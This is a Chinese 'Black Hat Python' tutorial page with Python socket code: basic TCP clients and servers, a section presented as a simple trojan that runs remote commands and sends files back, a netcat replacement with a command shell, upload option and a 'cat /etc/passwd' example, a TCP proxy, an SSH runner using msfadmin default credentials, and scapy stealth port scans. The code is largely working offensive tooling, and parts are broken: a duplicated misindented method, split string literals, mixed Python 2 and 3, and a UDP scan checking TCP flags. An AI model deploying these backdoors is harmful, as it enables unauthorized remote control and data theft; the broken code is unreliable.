zoukankan      html  css  js  c++  java
  • Python黑帽子:网络与套接字基础

    简单的网络通信

     1.客户端:

    # -*- coding: UTF-8 -*-
    
    import socket
    import sys
    
    #测试类
    class Client:
        def __init__(self,host):
            self.host=host #待连接的远程主机的域名
        def connet(self): #连接方法
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            except socket.error as e:
                print("Failed to create socket. Error: %s"%e)
            sys.exit() #退出进程
    
     def connet(self): #连接方法
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            except socket.error as e:
                print("Failed to create socket. Error: %s"%e)
                sys.exit() #退出进程
            try:
                remote_ip = socket.gethostbyname(self.host)#根据域名获取ip
            except socket.gaierror:
                print('主机无法被解析')
                sys.exit() #退出进程
            try:
                s.connect((remote_ip,80))#连接
                message = b"GET / HTTP/1.1
    
    "
                s.sendall(message)#发送数据
                reply = s.recv(4096)#接收数据
                print(reply)
                s.close()#关闭连接
            except socket.error:
                sys.exit() #退出进程
    
    
    if __name__ == '__main__':
        cl = Client('www.baidu.com')
        cl.connet()

    2.服务端

    # -*- coding: UTF-8 -*-
    
    import socket
    import sys
    
    class server:
        def __init__(self,ip,port):
            self.port=port
            self.ip=ip
        def start(self):
            s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#创建socket
            try:
                s.bind((self.ip,self.port))#绑定
                s.listen(10)#监听
                print('等待客户端连接')
                conn, addr = s.accept()#接收连接
                print('客户端连接 ' + addr[0] + ':' + str(addr[1]))
                data = conn.recv(1024)#接收数据
                print("客户端数据:%s"%data)
                conn.sendall(bytes("你好客户端
    
    ", encoding = "utf8"))#发送数据
                conn.close()#关闭连接
               
            except socket.error as e:
                print(e)
                sys.exit()
            finally:
                 s.close() #关闭服务端
    
    
    if __name__ == '__main__':
        s = server('',8800)
        s.start()

    TCP/客户端与服务端基础

     TCP客户端:

    #coding=utf-8
    import socket
    
    target_host = "www.baidu.com"
    target_port = 80
    
    #建立一个socket对象
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
    #连接客户端
    client.connect((target_host,target_port))
    
    #发送一些数据
    client.send("GET / HTTP/1.1
    Host: baidu.com
    
    ")
    
    #接收一些数据
    response = client.recv(4096)
    
    print response

    TCP服务端:  这里需要先调用bind()函数绑定IP和端口,然后通过调用listen()函数启动监听并将最大连接数设为5。

    #!/usr/bin/python
    #coding=utf-8
    import socket
    import threading
    
    bind_ip = "0.0.0.0"
    bind_port = 1234
    
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
    server.bind((bind_ip,bind_port))
    
    server.listen(5)
    
    print '[*] Listening on %s:%d'%(bind_ip,bind_port)
    
    #客户处理线程
    def handle_client(client_socket):
        
        #打印客户端发送得到的消息
        request = client_socket.recv(1024)
    
        print "[*] Received: %s"%request
        
        #返回一个数据包
        client_socket.send("ACK!")
    
        client_socket.close()
    
    while True:
        
        client, addr = server.accept()
    
        print "[*] Accepted connection from: %s:%d"%(addr[0],addr[1])
        
        #挂起客户端线程,处理传入数据
        client_handler = threading.Thread(target=handle_client,args=(client,))
        client_handler.start()

    TCP 实现一个简单的木马

    TCP客户端代码

    # -*- coding: UTF-8 -*-
    
    import socket
    import sys
    import re
    import os
    
    class Client:
        def __init__(self,serverIp,serverPort):
            self.serverIp=serverIp #待连接的远程主机的域名
            self.serverPort = serverPort
            self.bufferSize = 10240
    
        def connet(self): #连接方法
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            except socket.error as e:
                print("Failed to create socket. Error: %s"%e)
                
            try:
                s.connect((self.serverIp,self.serverPort))
                while True:
                    message = input('> ')#接收用户输入
                    if not message:
                        break
                    s.send(bytes(message, 'utf-8'))#发送命令
                    data = s.recv(self.bufferSize)#接收数据
                    if not data:
                        break
                    if re.search("^0001",data.decode('utf-8','ignore')):#判断数据类型
                        print(data.decode('utf-8')[4:])
                    else:#文件内容处理
                        s.send("File size received".encode())#通知服务端可以发送文件了
                        file_total_size = int(data.decode())#总大小
                        received_size = 0
                        f = open("new" +os.path.split(message)[-1], "wb")#创建文件
                        while received_size < file_total_size:
                            data = s.recv(self.bufferSize)
                            f.write(data)#写文件
                            received_size += len(data)#累加接收长度
                            print("已接收:", received_size)
                        f.close()#关闭文件
                        print("receive done", file_total_size, " ", received_size)
            except socket.error:
                s.close()
                raise #退出进程
            finally:
                s.close()
    
    
    if __name__ == '__main__':
        cl = Client('127.0.0.1',8800)
        cl.connet()
        sys.exit() #退出进程

    TCP服务端代码

    # -*- coding: UTF-8 -*-
    
    import socket
    import sys
    import os
    
    
    class server:
        def __init__(self, ip, port):
            self.port = port
            self.ip = ip
            self.bufferSize = 10240
    
        def start(self):  # 启动监听,接收数据
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            try:
                s.bind((self.ip, self.port))  # 绑定
                s.listen(10)  # 监听
                print('等待客户端连接')
                while True:  # 一直等待新的连接
                    try:
                        conn, addr = s.accept()  # 接收连接
                        print('客户端连接 ' + addr[0] + ':' + str(addr[1]))
                        while True:  # 不知道客户端发送数据大小,循环接收
                            data = conn.recv(self.bufferSize)
                            if not data:
                                break
                            else:
                                self.executeCommand(conn,data)
                        conn.close()
                    except socket.error as e:
                        print(e)
                        conn.close()  # 关闭连接
            finally:
                s.close()  # 关闭服务端
    
        def executeCommand(self, tcpCliSock, data):  # 解析并执行命令
            try:#
                message = data.decode("utf-8")
                if os.path.isfile(message):#判断是否是文件
                    filesize = str(os.path.getsize(message))#获取文件大小
                    print("文件大小为:",filesize)
                    tcpCliSock.send(filesize.encode())#发送文件大小
                    data = tcpCliSock.recv(self.bufferSize)  
                    print("开始发送")
                    f = open(message, "rb")#打开文件
                    for line in f:
                        tcpCliSock.send(line)#发送文件内容
                else:
                    tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))
            except:
                raise
    if __name__ == '__main__':
        s = server('', 8800)
        s.start()

    取代netcat

    #!/usr/bin/python
    #coding=utf-8
    import sys
    import socket
    import getopt
    import threading
    import subprocess
    
    #定义一些全局变量
    listen = False
    command = False
    upload = False
    execute = ""
    target = ""
    upload_destination = ""
    port = 0
    
    #使用帮助
    def usage():
        print "BHP Net Tool"  
        print  
        print "Usage: bhpnet.py -t target_host - p port"  
        print "-l --listen              - listen on [host]:[port] for incoming connections"  
        print "-e --execute=file_to_run -execute the given file upon receiving a connection"  
        print "-c --command             - initialize a commandshell"  
        print "-u --upload=destination  - upon receiving connection upload a file and write to [destination]"  
        print  
        print  
        print "Examples:"  
        print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"  
        print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\target.exe"  
        print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e="cat /etc/passwd""  
        print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"  
        sys.exit(0) 
    
    def client_sender(buffer):
        client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
        try:
            #连接到目标主机
            client.connect((target,port))
    
            if len(buffer):
                client.send(buffer)
    
            while True:
                
                #现在等待数据回传
                recv_len = 1
                response = ""
    
                while recv_len:
                    
                    data = client.recv(4096)
                    recv_len = len(data)
                    response += data
    
                    if recv_len < 4096:
                        break
    
                print response,
    
                #等待更多的输入
                buffer = raw_input("")
                buffer += "
    "
    
                #发送出去
                client.send(buffer)
    
        except:
            print "[*] Exception! Exiting. "
    
            #关闭连接
            client.close()
    
    def server_loop():
        global target
    
        #如果没有定义目标,那么我们监听所有的接口
        if not len(target):
            target = "0.0.0.0"
    
        server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        server.bind((target,port))
    
        server.listen(5)
    
        while  True:
            client_socket, addr = server.accept()
    
            #分拆一个线程处理新的客户端
            client_thread = threading.Thread(target=client_handler,args=(client_socket,))
            client_thread.start()
    
    def run_command(command):
        
        #换行
        command = command.rstrip()
    
        #运行命令并将输出返回
        try:
            output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
        except:
            output = "Failed to execute command. 
    "
    
        #将输出发送
        return output
    
    def client_handler(client_socket):
        global upload
        global execute
        global command
    
        #检测上传文件
        if len(upload_destination):
            
            #读取所有的字符并写下目标
            file_buffer = ""
    
            #持续读取数据直到没有符合的数据
    
            while True:
                data = client_socket.recv(1024)
    
                if not data:
                    break
                else:
                    file_buffer += data
    
            #现在我们接收这些数据并将他们写出来
            try:
                file_descriptor = open(upload_destination,"wb")
                file_descriptor.write(file_buffer)
                file_descriptor.close()
    
                #确认文件已经写出来
                client_socket.send("Successfully saved file to %s
    "%upload_destination)
            except:
                client_socket.send("Failed to save file to %s
    "%upload_destination)
        #检查命令执行
        if len(execute):
            
            #运行命令
            output = run_command(execute)
    
            client_socket.send(output)
    
        #如果需要一个命令行shell,那么我们进入另一个循环
        if command:
    
            while True:
                
                #跳出一个窗口
                client_socket.send("<BHP:#> ")
    
                #现在我们接收文件直到发现换行符(enter key)
                cmd_buffer = ""
                while "
    " not in cmd_buffer:
                    cmd_buffer += client_socket.recv(1024)
    
                #返还命令输出
                response = run_command(cmd_buffer)
    
                #返回响应数据
                client_socket.send(response)
    
    def main():
        global listen
        global port
        global execute
        global command
        global upload_destination
        global target
    
        if not len(sys.argv[1:]):
            usage()
    
        #读取命令行选项
        try:
            opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"])
        except getopt.GetoptError as err:
            print str(err)
            usage()
    
        for o,a in opts:
            if o in ("-h","--help"):
                usage()
            elif o in ("-l","--listen"):
                listen = True
            elif o in ("-e","--execute"):
                execute = a
            elif o in ("-c","--commandshell"):
                command = True
            elif o in ("-u","--upload"):
                upload_destination = a
            elif o in ("-t","--target"):
                target = a
            elif o in ("-p","--port"):
                port = int(a)
            else:
                assert False,"Unhandled Option"
    
        #我们是进行监听还是仅从标准输入发送数据?
        if not listen and len(target) and port > 0 :
    
            #从命令行读取内存数据
            #这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D
            buffer = sys.stdin.read()
    
            #发送数据
            client_sender(buffer)
    
        #我们开始监听并准备上传文件、执行命令
        #放置一个反弹shell
        #取决于上面的命令行选项
        if listen:
            server_loop()
    
    main()

    创建一个TCP代理

        #!/usr/bin/python  
        #coding=utf-8
        import socket  
        import sys  
        import threading  
          
        def server_loop(local_host,local_port,remote_host,remote_port,receive_first):  
              
            server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
          
            try:  
                server.bind((local_host,local_port))  
            except:  
                print "[!!] Failed to listen on %s:%d"%(local_host,local_port)  
                print "[!!] Check for other listening sockets or correct permissions. "  
                sys.exit(0)  
          
            print "[*] Listening on %s:%d"%(local_host,local_port)  
          
            server.listen(5)  
          
            while True:  
                client_socket, addr = server.accept()  
          
                #  打印出本地连接信息
                print "[==>] Received incoming connection from %s:%d"%(addr[0],addr[1])  
          
                #  开启一个线程与远程主机通信
                proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first))  
          
                proxy_thread.start()  
          
        def proxy_handler(client_socket,remote_host,remote_port,receive_first):  
              
            #  连接远程主机
            remote_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
            remote_socket.connect((remote_host,remote_port))  
          
            #  如果必要从远程主机接收数据
            if receive_first:  
          
                remote_buffer = receive_from(remote_socket)  
                hexdump(remote_buffer)  
          
                #  发送给我们的响应数据
                remote_buffer = response_handler(remote_buffer)  
          
                #  如果我们有数据传递给本地客户端,发送它
                if len(remote_buffer):  
                    print "[<==] Sending %d bytes to localhost. "%len(remote_buffer)  
                    client_socket.send(remote_buffer)  
          
            #  现在我们从本地循环读取数据,发送给远程主机和本地主机
            while True:  
                  
                #  从本地读取主机
                local_buffer = receive_from(client_socket)  
          
                if len(local_buffer):  
                      
                    print "[==>] Received %d bytes from localhost. "%len(local_buffer)  
                    hexdump(local_buffer)  
          
                    #  发送给我们的本地请求
                    local_buffer = request_handler(local_buffer)  
          
                    #  向远程主机发送数据
                    remote_socket.send(local_buffer)  
                    print "[==>] Sent to remote ."  
          
                #  接受响应的数据
                remote_buffer = receive_from(remote_socket)  
          
                if len(remote_buffer):  
                      
                    print "[<==] Received %d bytes from remote . "%len(remote_buffer)  
                    hexdump(remote_buffer)  
          
                    #  发送到响应处理函数
                    remote_buffer = response_handler(remote_buffer)  
          
                    #  将响应发送给本地socket
                    client_socket.send(remote_buffer)  
          
                    print "[<==] Sent to localhost. "  
          
                #  如果两边都没有数据,关闭连接
                if not len(local_buffer) or not len(remote_buffer):  
                    client_socket.close()  
                    remote_socket.close()  
                    print "[*] No more data. Closing cnnections. "  
          
                    break  
          
        #  十六进制导出函数
        def hexdump(src,length=16):  
            result = []  
            digits = 4 if isinstance(src,unicode) else 2  
          
            for i in xrange(0,len(src),length):  
                s = src[i:i+length]  
                hexa = b' '.join(["%0*X" % (digits,ord(x)) for x in s])  
                text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])  
                result.append( b"%04X  %-*s  %s" % (i,length*(digits + 1),hexa,text))  
          
            print b'
    '.join(result)  
          
        def receive_from(connection):  
              
            buffer = ""  
          
            #  我们设置了两秒的超时,这取决于目标的情况,可能需要调整
            connection.settimeout(2)  
          
            try:  
                #  持续从缓存中读取数据直到没有数据或超时
                while True:  
                    data = connection.recv(4096)  
                    if not data:  
                        break  
                    buffer += data  
            except:  
                pass  
          
            return buffer  
          
        #  对目标是远程主机的请求进行修改
        def request_handler(buffer):  
            #  执行包修改
            return buffer  
          
        #  对目标是本地主机的响应进行修改
        def response_handler(buffer):  
            #  执行包修改
            return buffer  
          
        def main():  
              
            #  没有华丽的命令行解析
            if len(sys.argv[1:]) != 5:  
                print "Usage : ./tcp_agent.py [localhost] [localport] [remotehost] [remoteport] [receive_first] "  
                print "Example : ./tcp_agent.py 127.0.0.1 9000 10.12.132.1 9000 True"  
                sys.exit(0)  
          
            #  设置本地监听参数
            local_host = sys.argv[1]  
            local_port = int(sys.argv[2])  
          
            #  设置远程目标
            remote_host = sys.argv[3]  
            remote_port = int(sys.argv[4])  
          
            #  告诉代理在发送给远程主机之前连接和接收数据
            receive_first = sys.argv[5]  
          
            if "True" in receive_first:  
                receive_first = True  
            else:  
                receive_first = False  
          
            #  现在设置好我们的监听socket
            server_loop(local_host,local_port,remote_host,remote_port,receive_first)  
          
        main()  

    通过Paramiko使用SSH

    #!/usr/bin/python
    import paramiko
    import threading
    import subprocess
    
    def ssh_command(ip,user,passwd,command):
            client = paramiko.SSHClient()
            #client.load_host_keys('/home/justin/.ssh/known_hosts') 
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            client.connect(ip,username=user,password=passwd)
            ssh_session = client.get_transport().open_session()
            if ssh_session.active:
                    ssh_session.exec_command(command)  
                    print ssh_session.recv(1024)
            return
    
    ssh_command('10.10.10.128','msfadmin','msfadmin','uname -a') 

    其他扫描方式收藏

    import argparse
    from scapy.all import *
    
    #答疑端口状态
    def print_ports(port, state):
        print("%s | %s" % (port, state))
    
    def tcpScan(target,ports):
        print("tcp全连接扫描 %s with ports %s" % (target, ports))
        for port in ports:
            send=sr1(IP(dst=target)/TCP(dport=port,flags="S"),timeout=2,verbose=0)
            if (send is None):
                print_ports(port,"closed")
            elif send.haslayer("TCP"):
                print(send["TCP"].flags)
                if send["TCP"].flags == "SA":
                    send_1 = sr1(IP(dst=target) / TCP(dport=port, flags="AR"), timeout=2, verbose=0)
                    print_ports(port,"opend")
                elif send["TCP"].flags == "RA":
                    print_ports(port,"closed")
    
        
    def synScan(target,ports):
        print("tcp SYN扫描 %s with ports %s" % (target, ports))
        for port in ports:
            send=sr1(IP(dst=target)/TCP(dport=port,flags="S"),timeout=2,verbose=0)
            if (send is None):
                print_ports(port,"closed")
            elif send.haslayer("TCP"):
                print(send["TCP"].flags)
                if send["TCP"].flags == "SA":
                    send_1 = sr1(IP(dst=target) / TCP(dport=port, flags="R"), timeout=2, verbose=0)#只修改这里
                    print_ports(port,"opend")
                elif send["TCP"].flags == "RA":
                    print_ports(port,"closed")
        
    def ackScan(target,ports):
        print("tcp ack扫描 %s with ports %s" % (target, ports))
        for port in ports:
            ack_flag_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="A"),timeout=5)
            print(str(type(ack_flag_scan_resp)))
            if (str(type(ack_flag_scan_resp))=="<class 'NoneType'>"):
                print_ports(port,"filtered")
            elif(ack_flag_scan_resp.haslayer(TCP)):
                if(ack_flag_scan_resp.getlayer(TCP).flags == "R"):
                    print_ports(port,"unfiltered")
            elif(ack_flag_scan_resp.haslayer(ICMP)):
                if(int(ack_flag_scan_resp.getlayer(ICMP).type)==3 and int(ack_flag_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
                    print_ports(port,"filtered")
            else:
                print_ports(port,"filtered")  
    
    
    def windowScan(target,ports):
        print("tcp window扫描 %s with ports %s" % (target, ports))
        for port in ports:
            window_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="A"),timeout=5)
            print(str(type(window_scan_resp)))
            if (str(type(window_scan_resp))=="<class 'NoneType'>"):
                print_ports(port,"close")
            elif(window_scan_resp.haslayer(TCP)):
                if(window_scan_resp.getlayer(TCP).window == 0):
                    print_ports(port,"close")
                elif(window_scan_resp.getlayer(TCP).window > 0):
                    print_ports(port,"open")
            else:
                print_ports(port,"close") 
    
    def nullScan(target,ports):
        print("tcp NULL 扫描 %s with ports %s" % (target, ports))
        for port in ports:
            null_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags=""),timeout=5)
            if (str(type(null_scan_resp))=="<class 'NoneType'>"):
                print_ports(port,"Open|Filtered") 
            elif(null_scan_resp.haslayer(TCP)):
                if(null_scan_resp.getlayer(TCP).flags == "R" or null_scan_resp.getlayer(TCP).flags == "A"):
                    print_ports( port,"Closed")
            elif(null_scan_resp.haslayer(ICMP)):
                if(int(null_scan_resp.getlayer(ICMP).type)==3 and int(null_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
                    print_ports(port, "Filtered")
    
     
    def finScan(target,ports):
        print("tcp FIN 扫描 %s with ports %s" % (target, ports))
        for port in ports:
            fin_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="F"),timeout=5)
            if (str(type(fin_scan_resp))=="<class 'NoneType'>"):
                print_ports(port, "Open|Filtered")
            elif(fin_scan_resp.haslayer(TCP)):
                if(fin_scan_resp.getlayer(TCP).flags == 0x14):
                    print_ports(port, "Closed")
            elif(fin_scan_resp.haslayer(ICMP)):
                if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
                    print_ports(port, "Filtered")
    
    
    def xmaxScan(target,ports):
        print("tcp xmax 扫描 %s with ports %s" % (target, ports))
        for port in ports:
            fin_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="FPU"),timeout=5)
            if (str(type(fin_scan_resp))=="<class 'NoneType'>"):
                print_ports(port, "Open|Filtered")
            elif(fin_scan_resp.haslayer(TCP)):
                if(fin_scan_resp.getlayer(TCP).flags == "R"):
                    print_ports(port, "Closed")
            elif(fin_scan_resp.haslayer(ICMP)):
                if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
                    print_ports(port, "Filtered")
    
    def udpScan(target,ports):
        print("UDP 扫描 %s with ports %s" % (target, ports))
        for port in ports:
            udp_scan_resp = sr1(IP(dst=target)/UDP(dport=port),timeout=5)
            if (str(type(udp_scan_resp))=="<class 'NoneType'>"):
                print_ports(port, "Open|Filtered")
            elif(udp_scan_resp.haslayer(UDP)):
                if(udp_scan_resp.getlayer(TCP).flags == "R"):
                    print_ports(port, "Open")
            elif(udp_scan_resp.haslayer(ICMP)):
                if(int(udp_scan_resp.getlayer(ICMP).type)==3 and int(udp_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
                    print_ports(port, "Filtered")
  • 相关阅读:
    toj 2819 Travel
    toj 2807 Number Sort
    zoj 2818 Prairie dogs IV
    zoj 1276 Optimal Array Multiplication Sequence
    toj 2802 Tom's Game
    toj 2798 Farey Sequence
    toj 2815 Searching Problem
    toj 2806 Replace Words
    toj 2794 Bus
    css截取字符
  • 原文地址:https://www.cnblogs.com/LyShark/p/9101902.html
Copyright © 2011-2022 走看看